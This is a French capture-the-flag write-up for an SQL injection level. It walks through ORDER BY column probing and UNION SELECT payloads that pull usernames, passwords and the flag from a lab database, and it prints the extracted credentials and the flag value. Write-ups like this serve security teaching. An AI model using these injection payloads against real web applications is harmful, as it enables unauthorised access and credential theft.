SQLi Union

Consignes

Aucune pour ce niveau

Réalisation

On se rend sur le site et on renseigne un id pour observer ce qu'il se passe. En entrant l'id 1 , on obtient ceci :

On recherche le nombre de colonnes disponibles dans le tableau d'affichage : en modifiant l'URL avec ces valeurs :

?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--

On continue jusqu’à ce que l'on ai une erreur : le dernier avant l’erreur donne le nombre de colonnes.

Dans notre cas, ?id=1' ORDER BY 3-- nous retourne ceci :

Error:
1st ORDER BY term out of range - should be between 1 and 2

Ceci signifie donc que nous n'avons que 2 colonnes de disponibles.

Maintenant, on test ce payload pour voir si les donnĂ©es des colonnes concernĂ©es s’affichent :

?id=-1' UNION SELECT 1,2-- 

Nous obtenons donc ceci :

[(1, 2)]

On remplace maintenant 1 et 2 dans notre requĂȘte par username et password en essayant de taper la table users :

?id=-1' UNION SELECT username, password FROM users--

Voici le résultat obtenu :

[('john.doe', 'password123')]

On cherche ensuite Ă  trouver le FLAG. Pour ceci, on part du principe qu'il se trouve dans la table flags :

?id=-1' UNION SELECT username, password FROM flags--

Le site nous retourne une erreur :

Error:
no such column: username

Nous allons donc changer notre requĂȘte afin de ne plus prendre en compte les colonnes nommĂ©es username et password .

Cependant, nous ne connaissons pas le nom des colonnes. Or, en SQL, nous pouvons récupérer l'ensemble des informations d'une table à l'aide du caractÚre * .

On execute alors la requĂȘte suivante :

?id=-1' UNION SELECT * FROM flags--

Le site nous retourne alors ceci :

[(1, '2600{kqcv8lSNC1LF-udqT6pPNQ}')]

On dispose alors du FLAG :

2600{kqcv8lSNC1LF-udqT6pPNQ}

Last updated